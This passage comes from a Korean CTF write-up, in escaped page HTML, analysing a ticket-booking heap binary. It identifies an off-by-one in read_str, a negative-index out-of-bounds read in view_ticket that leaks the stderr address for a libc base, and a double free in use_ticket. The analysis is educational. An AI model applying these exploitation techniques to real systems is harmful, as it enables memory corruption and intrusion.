2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>buy_ticket 함수 분석</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+klEQVQoz21STW/TQBDdQw/8iAhx4fdwjrgCQgIVTvwE/gDwD+DQAKqUfqmHHChVUShIKS5J3Djfie1410nstZ1de3cfcoADEiM9zVzmzXszQwCQf6G22TqzSPPSeWLbI8znrFguM8N5DtcN4XkrUMoRhikojeH7AowZ1Go+yGQUNaaztDHsR43ASxvJSjbWLv80e3V2u3liP7/pMYRhSRgarQtwHkOpAv+L42MKsuh6SDwOTiXiQCAJJfJNgcGX8G7zs/1oMPDA47iI49ikaWbSNDVSyi3+hlLGADCHh4Eh9bfDyofXVuV9nVY+nkaV/VNWqZ8s7qydS9K6sp/OpjMYY/KysSgKwzk3YRiaKIpKEgUg19qUkoujo6AgnR9DYn21yU0/IuM5iDO8Iu1uj7RafdJs+g+Hwyk451oIiTwvEMcJylrKHFobKGWQ53pr+eAgAGm3R1XLcqpOf1l1XVTHY6va6Yzu/7zu3ru+fvfScdh33xfnjMkLSuVFEIgLxvJzSvNvriveUCofB4F8xnmxu7fn7RLbZmi3V5hMpqD0HEJcYrlsY+5GWK+75WCuFMrVJSWybIt1qWyxEA/KjxiPM5KmitRqPiGDwVj3eiPtugudZXGpXQsJvRFG/b6d2VoTAthsACkBrbH1yJh88efdbiWJ2qnV/J1fiP0qo2KRcDsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./6.png\"\n        title=\"./6.png\"\n        src=\"/static/708349c60c3b5173c1c2a1a2c9772045/37523/6.png\"\n        srcset=\"/static/708349c60c3b5173c1c2a1a2c9772045/e9ff0/6.png 180w,\n/static/708349c60c3b5173c1c2a1a2c9772045/f21e7/6.png 360w,\n/static/708349c60c3b5173c1c2a1a2c9772045/37523/6.png 720w,\n/static/708349c60c3b5173c1c2a1a2c9772045/715a3/6.png 830w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>pass5 구조체</p>\n<ul>\n<li>buy_ticket 함수의 인스턴스 p 는 <code class=\"language-text\">pass5 구조체의 더블 포인터</code> 타입을 갖고 있다.</li>\n<li>해당 <code class=\"language-text\">pass5</code> 구조체의 멤버들을 확인해 보면 동적 분석을 하면서 추측했던 것들이 들어 있는 것을 확인할 수 있다.</li>\n<li>전역 변수로 할당된 <code class=\"language-text\">passes</code> 를 확인할 수 있으며 포인터 구조체 배열로 할당되어 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 31.11111111111111%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABzElEQVQY0x3MQW/SYAAG4P4TJQKGrbRQCrSUipSmwrYs2V/RqwsmHj15JTEePE2nmRMwQec2R+Jgc3RQhbSDsSGjjGUxw8SDft9r3OG5PozAKT/lkPzrTlKbKpIyFcOxKS+qU9+M8N/VLT//Zzapbc9VHtm59WXMlfJk6f1j3N8p4EG1gIViHvOlPM29W0Z2/SFlPAEBKh+FHBJwLyVhKasjkc7BFwjC45+F18/CE4+bZffArvUtfOzUiDm08aKzgeftCppuFx/aNZgjh750PoPxzYhUCUVpWpBpMq7SRDJDU3qWipJKOVH667/N4UYs9nX30raHExfWsU0mlxd42/uClc4WfoyG2LObtDfoo9yt0eswHZawGFOpLiaQSqSRyS0iYyxA1Qzi9bHX4d5V1z4+G6DZa5PheITSSR3P9ovYbzZgukf0wDrEWnuHMt5AGDIXppoQh5xQoeoGlLsaMtl5iLJC2GAYN+OxxvawaZ8MTnE6PiMX5xO8+raFN04V5+MxvvcduK5LPw1MMFzE+M0HVUT5NGVZFVwkAz6igxd1hKIG4XgNXlmrFqxSe7WxgdXWJilaVTzZXcHTwzVUnDpetzZp5aiOQqtM/gGyoSQ2bAJlyAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./7.png\"\n        title=\"./7.png\"\n        src=\"/static/e7a31e19a531252edc39367937d1748f/37523/7.png\"\n        srcset=\"/static/e7a31e19a531252edc39367937d1748f/e9ff0/7.png 180w,\n/static/e7a31e19a531252edc39367937d1748f/f21e7/7.png 360w,\n/static/e7a31e19a531252edc39367937d1748f/37523/7.png 720w,\n/static/e7a31e19a531252edc39367937d1748f/302a4/7.png 1080w,\n/static/e7a31e19a531252edc39367937d1748f/c23ad/7.png 1193w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>pass5 구조체 구현</p>\n<ul>\n<li>ida로 분석된 pass5 구조체를 데이터 타입 별로 C로 다시 구현하였다.</li>\n<li>pass5 구조체의 크기는 <code class=\"language-text\">0x30</code> 바이트를 갖고 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 667px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 89.99999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgklEQVQ4y42T24vbRhTG/W9voH3IS6C00EAgWUrBaWEDJZCEhKSQkhQKJSl7yXZ3bctayZJtXSzNSHM/I2suweu0S8AJ+3H4OA/nx3wzhxkEx3h2wbMpKS4pzTjNGCAJteA/PGG3HrIHr9j9l2xvyPZ/V2sPygJYpay1bjwWg2rWgO4E76QwAEBIL7iXooNR6j6ENsltnNlJYuel/0/ObXw2U4M6wqwkfSssAy+0Y52l2jLlYO1V53dpC8exGnBu6srlbb0SZSnKnC8LVkqtvXXWWGess9ZeufNuq027hYWwaeKTAi1YPMdZihYVQ61swUFrCDdcGIHWiPWMako1RQo1qpWGTgI+IJlKRnD2D6RTnodAlspLa+g62DsKvz2J7pzOvj8PvzmO7vx7lfjz2HQFvTO4WSOsmqarUY9bpaBvTjEJCZsxlnB6SWnMdtyZFEDaLo3Z5RTPE4GqrsUAsnfbka8/WDJV0Yge/t2OT2U2I0XKadWjpb79XX3vV/rzb3T4mN0dkgcH9H/sGi6qXiqHWCuNIJpjQde98d7/8pQ9ek6f/cFevOFXDd8Bp3NNCOTLNk34Iu3yTFCqN8uwN4i9yLu6luNxHYYoywlAv51g9ov4NXz6vgnP2pN3q4tDPDpuohHFeVfNdXCQ4tdZ82fR/lWi1zl+U+xYVXRO49jkFSlJXWDUYlCq77WJfzxLfxrPHwbLgzDdHy+GwQ54leoo9rMFnddlNF9Fl01VCWedBXODVZ01rATAWiGQFSikAeuu0R3prHW2d9Zceb/5htsyZkNHkRpQZnRnwJPOC+etv4G2JycJDI6OyHQqJxMZBHIyEdsKgk++syYTEcfy7Vv8EVr17g18iSWpAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./8.png\"\n        title=\"./8.png\"\n        src=\"/static/f957d42e4e021c49471925da6b662490/295bd/8.png\"\n        srcset=\"/static/f957d42e4e021c49471925da6b662490/e9ff0/8.png 180w,\n/static/f957d42e4e021c49471925da6b662490/f21e7/8.png 360w,\n/static/f957d42e4e021c49471925da6b662490/295bd/8.png 667w\"\n        sizes=\"(max-width: 667px) 100vw, 667px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>buy_ticket 함수 내부</p>\n<ul>\n<li>위 사진의 <code class=\"language-text\">check</code> 영역을 확인 해 보면 구조체 배열의 사이즈를 기점으로 비교 조건을 수행하며 총 $48/8+1$ 을 바탕으로 힙 청크 7개를 생성할 수 있게 된다.</li>\n<li>조건을 만족하지 않는다면 <code class=\"language-text\">Sold out!</code> 문자열을 출력하며 함수가 종료된다.</li>\n<li><code class=\"language-text\">One ride ticket</code> 를 선택하였다면 pass5 구조체 멤버 ticket_type, fisrtname, lastname에 값이 써진다.</li>\n<li><code class=\"language-text\">One day ticket</code> 를 선택하였다면 pass5 구조체 멘버 전부에 값이 써지는 것을 확인할 수있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACa0lEQVQozzXM209ScQAH8PP/NNO3ntQesosw9SAgogLpXKt12bzihAJF3dJkgJfIUBF7aMnhcriFZihaNsOlM1cOpwzlJtbcqHke+H0bbr19v9v386WuOKyoCNhxN/wekpAX8lU/msNB0B/cKHLModhp+13snLtT4rRlixxWVC+50BDyoXHFB2nIi3vrS5e+8FPitIEqY/WOCp+RqQpOMtJlK6MIvWEEi2aGFxi3l7F6dzlrmC1zm66Ws4bpQr/lN9kLW0VonpGH5pnaRTNz029iSlm9o5w1vKNol47jM30c7RrglGsWTrk+xYk9Qxzfob0QuPvzAq82UeNT36ZZbZx26QiP0V5IPM855bqFa199xdU4/3sdR3s0HNXUm0C76QgtmiQEwx/Be+GFuDODrokYGlVJ8NVbZ1Vf5DyhLpKRPz1Gx9gR5KokaIMfNcPLl079OgaZKoFa/SKo+rYMae2LE1nXKakeXCXdTi8Ztx2RKX80b7TtY3Ahkr0RVlSK+7fSTd0p3B84zjd2ZInQECCikRWiUGZI61D00gv1QULJerJQaI5Js+oMVYNrmN11Y/dnBNvpvfz2fgTh2Gb2WqC5sm4gkqrvTED+LJaXtGUgNPhRN7oCRW8SdM93IlOmITIECXUQPSE/DuOIxzJgdtbAHHxC7jyHvcMoyWZ/YScTy5a4Jfx6zV5a+uQc8u7TvPThH4hGlyEa+oyGxzm0qFOQPsoR0UgI1MtNB8Y27cT81Ql1eBqqDSss33wwbizkzREWo1tMqpR9cL126u2J0OiDeILNCw0B0HMW0DNWFHLdpIcIjX7QszN//wHXWKsQFV4KfwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./9.png\"\n        title=\"./9.png\"\n        src=\"/static/cd8c8b7d7d16359f5d79685a2b658b2e/37523/9.png\"\n        srcset=\"/static/cd8c8b7d7d16359f5d79685a2b658b2e/e9ff0/9.png 180w,\n/static/cd8c8b7d7d16359f5d79685a2b658b2e/f21e7/9.png 360w,\n/static/cd8c8b7d7d16359f5d79685a2b658b2e/37523/9.png 720w,\n/static/cd8c8b7d7d16359f5d79685a2b658b2e/302a4/9.png 1080w,\n/static/cd8c8b7d7d16359f5d79685a2b658b2e/5a791/9.png 1248w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>pass5 멤버 변수 데이터 삽입</p>\n<ul>\n<li>각 firstname, lastname에 AAAA, BBBB 를 삽입하였다고 가정하였을 경우 앞의 그림 처럼 데이터가 들어가 있는 것을 확인할 수 있다.</li>\n<li>사용자가 입력할 수 있는 영역은 두 개의 방식과 동일하게 firstname, lastname 멤버 변수인 것을 확인할 수 있으며 이들을 인자로 사용하는 함수는 <code class=\"language-text\">read_str</code> 함수이며 8바이트씩 입력을 받을 수 있게 설정되어 있다.</li>\n</ul>\n<h3 id=\"read_str-함수-분석-off-by-one-취약점\" style=\"position:relative;\"><a href=\"#read_str-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-off-by-one-%EC%B7%A8%EC%95%BD%EC%A0%90\" aria-label=\"read_str 함수 분석 off by one 취약점 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>read_str 함수 분석 (off-by-one 취약점)</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 512px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 43.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABAklEQVQoz41Py27CMBDM//8KV47AH1S0h5ZWcgJycHGa2NhLbCd+bRWhNlVVUUZzWGk0OzNF0zyXpaP0UpZ6v4eqAkr7wwEYM7udJEQxZqoKOLcAUeugdVDKOxeXy7ZQajBmvFyGEHKM6D2GMNE5zBn/REqTsF6LQinfdYkQJ8RgLQIkgJBSTilf8XXjN2OczKuVKKwdvUdjglLuql0f38CczBiSypz0uxykMMLaEf/DbO5NlufQ9x5x6pNSDiHdaxat7RqvRNDSsSNI6QCm8J8jf3He/PHSwKmP2jh+9kJnxDtrbzayqJ/at60gjx154PXr+cjGmrq6Hm6QUsf5uFjwT30gBEreguQ9AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./10.png\"\n        title=\"./10.png\"\n        src=\"/static/44d7ee74edcc16f64a75860cde853a3f/01e7c/10.png\"\n        srcset=\"/static/44d7ee74edcc16f64a75860cde853a3f/e9ff0/10.png 180w,\n/static/44d7ee74edcc16f64a75860cde853a3f/f21e7/10.png 360w,\n/static/44d7ee74edcc16f64a75860cde853a3f/01e7c/10.png 512w\"\n        sizes=\"(max-width: 512px) 100vw, 512px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>read_str 함수</p>\n<ul>\n<li>firstname, lastname을 첫 번째 인자로 받고 두 번째 인자는 8 바이트 를 고정으로 받는다.</li>\n<li>내부 로직에서는 read 함수를 바탕으로 입력을 받게 되고 기본적인 에러 처리가 존재하는 것을 확인할 수 있다.</li>\n<li>하지만 마지막 조건에 <code class=\"language-text\">buf[len] = 0</code> 을 대입하는 것을 볼 수 있는데 우리는 해당 buf의 사이즈가 8바이트이지만 read 함수의 반환 되는 총 item 개수 즉, len 에 값에는 만약 8 바이트를 전부 입력했을 경우 8을 반환할 것이다.</li>\n<li><code class=\"language-text\">buf[8] = 0</code> 이 되어질 경우 한 바이트가 오버플로우 되어 다른 메모리 주소에 overwrite가 되어 질 것이다.</li>\n</ul>\n<h3 id=\"view_ticket-함수-분석-out-of-bound-integer-issues\" style=\"position:relative;\"><a href=\"#view_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-out-of-bound-integer-issues\" aria-label=\"view_ticket 함수 분석 out of bound integer issues permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>View_ticket 함수 분석 (out-of-bound, integer issues)</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJUlEQVQoz42PyW7EMAxD8/+/1nuLHjqdJZudZLxbsiXLxfRcoCF45CPI4fb+tn4+9bedLkHfYjxK3jNkBpR/PagPUBetFuW8jcGVXHvIvVI/oWH/Ml7l4+6278NNGXcgZc/C6oHjNYxqeqzjbb5P6/K4mhQYUUIQAMmZjAFE/gO2ru3Ppmw8Uljt8XTJRcLCRFJrZ+5ErRRmlj9gYyoAyStDtRXpIiLM7dRs63hdm8vRgvHoDVgL1geKsSO2lGoImDPF+LoAwCGUlGr7LR9ikmVps9kmP6qolrBMfny6rFS3jrctz7PXOmldtRZjaN+zUtF7FOnDshashIxIFakAAZQiJ1a/YGO51FpaghaRoUs/r+H64GWjecNJw6yL3tt2tO2QM/4BvjN9k0I0dKkAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./11.png\"\n        title=\"./11.png\"\n        src=\"/static/04717b088b4da6c5529d3b37981f6ff3/37523/11.png\"\n        srcset=\"/static/04717b088b4da6c5529d3b37981f6ff3/e9ff0/11.png 180w,\n/static/04717b088b4da6c5529d3b37981f6ff3/f21e7/11.png 360w,\n/static/04717b088b4da6c5529d3b37981f6ff3/37523/11.png 720w,\n/static/04717b088b4da6c5529d3b37981f6ff3/8c857/11.png 761w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>View_ticket 함수</p>\n<ul>\n<li><code class=\"language-text\">Buy_ticket</code> 함수에서 생성한 두 가지 옵션의 passes 구조체 배열의 인덱스를 바탕으로 출력을 해주는 기능을 갖고 있다.</li>\n<li><code class=\"language-text\">index</code> 변수의 데이터 타입은 부호 있는 정수 타입이며 해당 passes 구조체 배열의 첨자 연산을 가하게 되는데 하지만 해당 부분에서 음수 값을 검증하는 조건이 없기 때문에 음수를 입력하여 다른 메모리 주소 번지로 이동이 가능하다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 457px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 46.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQoz12QSW/TUBSF/ddhUcqSn+ElSxTRVh1pISqkcYhbPD7PcTw9u4mnfKhuF4gjfdLR1dW5V0fRVzHOn4DVL4PVwkBf2uiaQ+BuyRL5SlyRJRWh2LNe7hHWHtMYWSwG7u9HDKPvLavn9rZRleTrnPR6jju7mPBPbojOvrG91ghOTewvBuvPjwSnOtV3gZzblJcrzOWKoi7Isw3D0PUASdKqSqi5ZJaLrz1ORGuDWDeQIoa8oUskQ1pzyOo3L+njnCYvOQBlUSJl1Y8juO5OVURYkGwT/ljWhC0EjicopGQEuhH6A7QDDLz6f1XXNW3bTh/6/qAqnkhJNwmObU94QhAEPttU4nsgxEgcjQT+gaLYI+V+CjocXpOllLiu0ydJiqZFqhIEOWm6wbJsbNtGCIHnedPi/3p+7hFOjZ9lFLt6muV5zsfj4/7D0RHv331SFVekxEmEYZqYponjOLhCUJYl+7blebdjN9EQhA1PTx3xZsT1Rprm5UhNFEV9VVXYdq4q29mc4uqecHYzkZzckZ7dkZ0vCWePFJc63b3Ofr6mvFpS/3hge65RXazw7hb4UUj31mEUdariPljETwbmz+WE+/AbT1uTmiGpuWPMGigbkA11UBPqFV1aMWwlTVbSdu1Ln/0wHAiCvfoXXgmYB2VF5FsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./12.png\"\n        title=\"./12.png\"\n        src=\"/static/3286c701c2704020f0f3fc19be100367/34f1d/12.png\"\n        srcset=\"/static/3286c701c2704020f0f3fc19be100367/e9ff0/12.png 180w,\n/static/3286c701c2704020f0f3fc19be100367/f21e7/12.png 360w,\n/static/3286c701c2704020f0f3fc19be100367/34f1d/12.png 457w\"\n        sizes=\"(max-width: 457px) 100vw, 457px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>stderr↔passes</p>\n<ul>\n<li>.bss 영역에 존재하는 <code class=\"language-text\">passes</code> , <code class=\"language-text\">stderr</code> 두 주소의 차이는 0x20이며 만야 index 값을 <code class=\"language-text\">-4</code> 를 주게 된다면 0x20 바이트 차이의 주소 번지를 이동하여 stderr 메모리 영역에 도달할 것이며 다음 출력되는 곳에서 stderr 주소 값이 릭 될 것이다.</li>\n<li>릭된 주소 값을 바탕으로 라이브러리 주소를 구한 후 나머지 필요한 함수들을 오프셋을 바탕으로 얻어올 수 있겠다.</li>\n</ul>\n<h3 id=\"use_ticket-함수-분석-double-free\" style=\"position:relative;\"><a href=\"#use_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D-double-free\" aria-label=\"use_ticket 함수 분석 double free permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Use_ticket 함수 분석 (Double Free)</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 424px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJklEQVQoz5XO24rCMBSF4bz/m3nRoihC0ao9hcaaNGlOTXPYQ5kbcdCZ+flu12aj45Hf77YsRdfpqpK3mzyfxfUqKHVC+Gecv0LDYOua1zVnzIyjHga1LGAMhADPpQQ/Q0UxZhne7fqmmTDWRTFWlaEsjSMQAoyth6YJpFz3LxDGmnMrpTPaLwu4GZQCa1dKwTzDh1DXBYzhPriK1zfWUUMfc9+qi/GT1h+nAKhpLCGesVA36Xr1pxPre80YPGiUMmoN1i5vx22rvA/Wrh+GECcxM+YEB0qjUlHrJKV7OxYiKLVgHC6XWJaa0oixsdbBH0KUOkqNMXGaHMYTIaptBSF6WWKM6TM0z8F74By0DilF+E9osxnznOe5zDKx3Yr9Xn47HH73BWhDdtM3d22EAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./13.png\"\n        title=\"./13.png\"\n        src=\"/static/aec4d84e86c9026b622363e6fa63ad2c/1cfa9/13.png\"\n        srcset=\"/static/aec4d84e86c9026b622363e6fa63ad2c/e9ff0/13.png 180w,\n/static/aec4d84e86c9026b622363e6fa63ad2c/f21e7/13.png 360w,\n/static/aec4d84e86c9026b622363e6fa63ad2c/1cfa9/13.png 424w\"\n        sizes=\"(max-width: 424px) 100vw, 424px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<ul>\n<li><code class=\"language-text\">View_ticket</code> 함수에서 사용되었던 <code class=\"language-text\">index</code> 와는 다르게 부호 없는 정수 데이터 타입을 사용하고 있다.</li>\n<li><code class=\"language-text\">ticket_type</code> 값을 검증하는 조건을 확인할 수 있는데 해당 부분에서 만족을 하게 된다면 메모리를 해제하는 것을 확인할 수 있다.</li>\n<li><code class=\"language-text\">ticket_type</code> 값이 1이 였던 <code class=\"language-text\">One-ride-ticket</code> 은 바로 해제가 되어 <code class=\"language-text\">tcache entries</code> 넘어가게 될 것이다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 517px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 90.55555555555556%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2klEQVQ4y5VSi27bMAz0///ehmFLusaPJnEsyXpQoiiJsoamaTus2JoRB4HQ4XBHgt1+D+PorMvOFXDsHFuXjMvG5tVEa7M2ZG12V+oNACxE7pzLWrenY5rDeYJ+wfloT5aMSWolhexlFDGl9qGIamdtWZYyDvxt5/fTrIOlnEupbWtta9vr+wdaa4jPYvY+EpWSGwau9Zl5of9dMdbOmFJrdS5LRd9/iIcHtdtJIr5LbG1BzCEU7zMiA1CMpbX7nJ1jrXFdEZERmai8JL/TmZmr1pFoQyxvttfFbJ/PfO2K96XvzX6vxtHsdup0cp+LX5ytJYC8riQEShmM+Xzyd7EQwXsiqkQcY/4t+R2xQ2CArFSQMnif/mNhzhFAKoW3rdW6hZAj3j4BEvPt2l7v69q/i33SNilNDopUqG3CyNoShAwh179Ev8XOgNnF9WTWk7kMK65+C7FRYh83JPaUXayBksXssHpioIYUkTsrIwxiGeny6OSo7dmpJ6ueXBAoRyNGvYyrnIybYT7IS6/EqM8HFWcdVejUJcazFycl55m9TbAmr5PXERSBYgiN0g3piphays2HBKn78hWGQxoneZgu46T6Sfaj+DlcHoflcVim3oo5foRc6HikX5hgExIcGlXHAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./14.png\"\n        title=\"./14.png\"\n        src=\"/static/6f3e244131631c7dc77829f654d27dd6/fa2f5/14.png\"\n        srcset=\"/static/6f3e244131631c7dc77829f654d27dd6/e9ff0/14.png 180w,\n/static/6f3e244131631c7dc77829f654d27dd6/f21e7/14.png 360w,\n/static/6f3e244131631c7dc77829f654d27dd6/fa2f5/14.png 517w\"\n        sizes=\"(max-width: 517px) 100vw, 517px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>ticket_type이 0일 경우 내부 조건</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 608px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 125%; position: relative; bottom: 0; left: 0; background-image: 